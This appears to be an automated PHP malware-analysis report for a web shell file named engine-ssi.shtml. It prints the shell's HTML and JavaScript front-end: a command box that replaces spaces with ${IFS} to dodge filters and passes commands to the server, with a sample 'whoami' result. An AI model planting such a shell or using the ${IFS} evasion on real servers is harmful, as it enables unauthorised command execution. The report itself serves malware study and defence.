PHP Malware Analysis

engine-ssi.shtml

md5: 7da415348202aec43d552d12e4236cd6

Jump to: 

Screenshot
Attributes
URLs

Deobfuscated PHP code
<!-- Author : Unknown45 -->
<!-- hargai author dengan cara menggunakan script ini tanpa mengrecode script ini !!! -->



[Error in shell]


<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script language="javascript">
function fex()
{
	var uri = document.getElementById('command').value;
	var rep = uri.replace(/[ ]/g,'${IFS}');
	var res = encodeURI(uri);
	document.location.href="engine-ssi.shtml.e84a7b11639a0e310e23a8cfeccceaf4.bin?"+encodeURI(rep);
}
</script>
<script>
document.onkeydown = keydown;
function keydown(e) {
    if (!e) e = event;
    if (e.keyCode === 13) {
    	var uri = document.getElementById('command').value;
    	var rep = uri.replace(/[ ]/g,'${IFS}');
		var res = encodeURI(uri);
        document.location.href="engine-ssi.shtml.e84a7b11639a0e310e23a8cfeccceaf4.bin?"+encodeURI(rep);

    }
}
</script>

</head>
<body>
<font face=courier size=2><i>server : <font color=green></font><br>
<font size=2>Command : <input type=text size=60 id=command class="text" name="address1" style="max-width: 100%; max-height: 100%;">&nbsp;<input type=button value=Execute onclick="fex();">
<hr>
Executed Command : </font><b>whoami</b><br>
<textarea bgcolor=#e4e0d8 cols=121 rows=15>
daemon

</textarea>
<script>
//$('body').on('input', 'input[name=address1]', function() {
//  $(this).val($(this).val().replace(' ', '${IFS}'));
//});
</script>
<hr>
</body>
</html>
Execution traces
Generated HTML code
<html><head></head><body>[Error in shell]




<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script language="javascript">
function fex()
{
	var uri = document.getElementById('command').value;
	var rep = uri.replace(/[ ]/g,'${IFS}');
	var res = encodeURI(uri);
	document.location.href="engine-ssi.shtml.e84a7b11639a0e310e23a8cfeccceaf4.bin?"+encodeURI(rep);
}
</script>
<script>
document.onkeydown = keydown;
function keydown(e) {
    if (!e) e = event;
    if (e.keyCode === 13) {
    	var uri = document.getElementById('command').value;
    	var rep = uri.replace(/[ ]/g,'${IFS}');
		var res = encodeURI(uri);
        document.location.href="engine-ssi.shtml.e84a7b11639a0e310e23a8cfeccceaf4.bin?"+encodeURI(rep);

    }
}
</script>



<font face="courier" size="2"><i>server : <font color="green"></font><br>
<font size="2">Command : <input type="text" size="60" id="command" class="text" name="address1" style="max-width: 100%; max-height: 100%;">&nbsp;<input type="button" value="Execute" onclick="fex();">
<hr>
Executed Command : </font><b>whoami</b><br>
<textarea bgcolor="#e4e0d8" cols="121" rows="15">daemon

</textarea>
<script>
//$('body').on('input', 'input[name=address1]', function() {
//  $(this).val($(this).val().replace(' ', '${IFS}'));
//});
</script>
<hr>

</i></font></body></html>
Original PHP code
<!-- Author : Unknown45 -->
<!-- hargai author dengan cara menggunakan script ini tanpa mengrecode script ini !!! -->



[Error in shell]


<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script language="javascript">
function fex()
{
	var uri = document.getElementById('command').value;
	var rep = uri.replace(/[ ]/g,'${IFS}');
	var res = encodeURI(uri);
	document.location.href="engine-ssi.shtml.e84a7b11639a0e310e23a8cfeccceaf4.bin?"+encodeURI(rep);
}
</script>
<script>
document.onkeydown = keydown;
function keydown(e) {
    if (!e) e = event;
    if (e.keyCode === 13) {
    	var uri = document.getElementById('command').value;
    	var rep = uri.replace(/[ ]/g,'${IFS}');
		var res = encodeURI(uri);
        document.location.href="engine-ssi.shtml.e84a7b11639a0e310e23a8cfeccceaf4.bin?"+encodeURI(rep);

    }
}
</script>

</head>
<body>
<font face=courier size=2><i>server : <font color=green></font><br>
<font size=2>Command : <input type=text size=60 id=command class="text" name="address1" style="max-width: 100%; max-height: 100%;">&nbsp;<input type=button value=Execute onclick="fex();">
<hr>
Executed Command : </font><b>whoami</b><br>
<textarea bgcolor=#e4e0d8 cols=121 rows=15>
daemon

</textarea>
<script>
//$('body').on('input', 'input[name=address1]', function() {
//  $(this).val($(this).val().replace(' ', '${IFS}'));
//});
</script>
<hr>
</body>
</html>